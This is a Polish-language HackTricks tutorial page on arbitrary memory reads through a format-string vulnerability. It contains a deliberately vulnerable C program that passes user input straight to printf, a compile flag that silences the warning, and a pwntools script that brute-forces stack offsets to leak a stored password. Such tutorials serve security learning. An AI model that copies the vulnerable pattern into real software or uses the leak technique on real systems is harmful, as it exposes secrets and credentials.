hacktricks/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md

4.3 KiB

Przykład odczytu arbitralnego - Formatowanie łańcuchów

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Kod

#include <stdio.h>
#include <string.h>

char bss_password[20] = "hardcodedPassBSS"; // Password in BSS

int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];

printf("Enter first password: ");
scanf("%19s", input1);

printf("Enter second password: ");
scanf("%19s", input2);

// Vulnerable printf
printf(input1);
printf("\n");

// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}

return 0;
}

Skompiluj to przy użyciu:

clang -o fs-read fs-read.c -Wno-format-security

Odczytaj ze stosu

Zmienna stack_password będzie przechowywana na stosie, ponieważ jest zmienną lokalną, więc wystarczy nadużyć printf, aby pokazać zawartość stosu. To jest exploit do BF pierwszych 100 pozycji w celu wycieku haseł ze stosu:

from pwn import *

for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()

W obrazie można zobaczyć, że możemy ujawnić hasło ze stosu na 10 pozycji:

Uruchamiając ten sam exploit, ale z %p zamiast %s, możemy ujawnić adres sterty ze stosu pod %5$p:

Różnica między ujawnionym adresem a adresem hasła wynosi:

> print 0xaaaaaaac12b2 - 0xaaaaaaac0048
$1 = 0x126a
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: